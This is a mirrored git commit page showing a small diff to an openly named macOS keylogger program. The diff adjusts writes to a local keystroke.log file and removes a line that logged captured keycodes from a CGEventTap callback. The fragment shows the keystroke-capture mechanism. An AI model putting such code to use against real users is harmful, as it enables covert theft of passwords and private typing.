1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Stupid IO.

This commit is contained in:
Casey Scarborough 2013-09-16 19:18:58 -04:00
parent b648c3ade9
commit fa84df45a4

View File

@ -27,7 +27,9 @@ int main(int argc, const char *argv[]) {
const char *logfileLocation = "./keystroke.log"; const char *logfileLocation = "./keystroke.log";
logfile = fopen(logfileLocation, "a"); logfile = fopen(logfileLocation, "a");
fprintf(logfile, "Keylogging has begun.\n\n"); fprintf(logfile, "Test");
cout << logfileLocation << endl;
fflush(logfile);
CFRunLoopRun(); CFRunLoopRun();
return 0; return 0;
@ -39,10 +41,6 @@ CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef
} }
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
fprintf(logfile, "%s", convertKeyCode(keyCode));
return event; return event;
} }
const char *convertKeyCode(int keyCode) {
return "keypress";
}